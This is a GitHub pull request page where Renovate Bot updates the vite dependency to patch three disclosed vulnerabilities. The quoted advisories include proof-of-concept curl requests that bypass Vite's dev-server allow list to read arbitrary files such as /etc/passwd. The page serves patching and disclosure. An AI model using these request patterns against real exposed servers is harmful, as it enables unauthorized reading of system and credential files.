Skip to content

Update dependency vite to v6.0.14 [SECURITY] #5393

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Merged
merged 1 commit into from
Apr 11, 2025
Merged

Update dependency vite to v6.0.14 [SECURITY] #5393

merged 1 commit into from
Apr 11, 2025

Conversation

openverse-bot
Copy link
Collaborator

@openverse-bot openverse-bot commented Mar 25, 2025 •
edited
Loading

This PR contains the following updates:

Package Type Update Change
vite (source) devDependencies patch 6.0.11 -> 6.0.14

GitHub Vulnerability Alerts

CVE-2025-30208

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2025-31125

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

  • base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
  • content of non-allowed files is exposed using ?raw?import

/@&#8203;fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@&#8203;fs/C:/windows/win.ini?import&?inline=1.wasm?init

CVE-2025-31486

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected..

Details

.svg

Requests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@&#8203;fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

Release Notes

vitejs/vite (vite)

v6.0.14

Compare Source

Please refer to CHANGELOG.md for details.

v6.0.13

Compare Source

Please refer to CHANGELOG.md for details.

v6.0.12

Compare Source

Please refer to CHANGELOG.md for details.

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@openverse-bot openverse-bot requested a review from a team as a code owner March 25, 2025 15:07
@openverse-bot openverse-bot added dependencies Pull requests that update a dependency file 💻 aspect: code Concerns the software code in the repository 🟨 tech: javascript Involves JavaScript 🟩 priority: low Low priority and doesn't need to be rushed 🧰 goal: internal improvement Improvement that benefits maintainers, not users 🧱 stack: frontend Related to the Nuxt frontend labels Mar 25, 2025
@openverse-bot openverse-bot requested review from krysal and obulat March 25, 2025 15:07
@openverse-bot openverse-bot moved this to 👀 Needs Review in Openverse PRs Mar 25, 2025
@github-actions GitHub Actions
Copy link

github-actions bot commented Mar 25, 2025 •
edited
Loading

Latest k6 run output1

     ✓ status was 200

     checks.........................: 100.00% ✓ 404      ✗ 0   
     data_received..................: 95 MB   394 kB/s
     data_sent......................: 53 kB   220 B/s
     http_req_blocked...............: avg=59.23µs  min=2.25µs   med=4.9µs    max=3.16ms   p(90)=148.16µs p(95)=214.45µs
     http_req_connecting............: avg=38.72µs  min=0s       med=0s       max=3.11ms   p(90)=99.37µs  p(95)=142.31µs
     http_req_duration..............: avg=148.77ms min=17.55ms  med=93.71ms  max=993.93ms p(90)=346.85ms p(95)=422.52ms
       { expected_response:true }...: avg=148.77ms min=17.55ms  med=93.71ms  max=993.93ms p(90)=346.85ms p(95)=422.52ms
   ✓ http_req_failed................: 0.00%   ✓ 0        ✗ 404 
     http_req_receiving.............: avg=176.22µs min=52.55µs  med=140.98µs max=2.39ms   p(90)=274.57µs p(95)=379.66µs
     http_req_sending...............: avg=25.26µs  min=8.26µs   med=22.33µs  max=120.45µs p(90)=38.56µs  p(95)=47.12µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=148.57ms min=17.44ms  med=93.2ms   max=993.65ms p(90)=346.62ms p(95)=422.26ms
     http_reqs......................: 404     1.677625/s
     iteration_duration.............: avg=787.53ms min=203.66ms med=857.17ms max=1.72s    p(90)=1.11s    p(95)=1.48s   
     iterations.....................: 77      0.319745/s
     vus............................: 2       min=0      max=6 
     vus_max........................: 60      min=60     max=60

Footnotes

  1. This comment will automatically update with new output each time k6 runs for this PR ↩

@openverse-bot openverse-bot force-pushed the gha-renovatenpm-vite-vulnerability branch 18 times, most recently from ffac1a7 to d139635 Compare March 26, 2025 11:35
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-vite-vulnerability branch 19 times, most recently from 23a6630 to 43237cb Compare March 31, 2025 12:48
@openverse-bot openverse-bot changed the title Update dependency vite to v6.0.12 [SECURITY] Update dependency vite to v6.0.13 [SECURITY] Mar 31, 2025
@openverse-bot openverse-bot changed the title Update dependency vite to v6.0.13 [SECURITY] Update dependency vite to v6.0.14 [SECURITY] Apr 4, 2025
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-vite-vulnerability branch 2 times, most recently from 141bf8a to cf5898b Compare April 9, 2025 14:08
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-vite-vulnerability branch from cf5898b to 56040a0 Compare April 9, 2025 16:18
@openverse-bot openverse-bot moved this from 👀 Needs Review to ✅ Approved in Openverse PRs Apr 11, 2025
@dhruvkb dhruvkb merged commit 9f8fdae into main Apr 11, 2025
66 checks passed
@dhruvkb dhruvkb deleted the gha-renovatenpm-vite-vulnerability branch April 11, 2025 13:47
@github-project-automation github-project-automation bot moved this from ✅ Approved to 🤝 Merged in Openverse PRs Apr 11, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@dhruvkb dhruvkb dhruvkb approved these changes

@krysal krysal Awaiting requested review from krysal krysal is a code owner automatically assigned from WordPress/openverse-frontend

@obulat obulat Awaiting requested review from obulat obulat is a code owner automatically assigned from WordPress/openverse-frontend

Assignees
No one assigned
Labels
💻 aspect: code Concerns the software code in the repository dependencies Pull requests that update a dependency file 🧰 goal: internal improvement Improvement that benefits maintainers, not users 🟩 priority: low Low priority and doesn't need to be rushed 🧱 stack: frontend Related to the Nuxt frontend 🟨 tech: javascript Involves JavaScript
Projects
Openverse PRs
Archived in project
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
2 participants
@openverse-bot @dhruvkb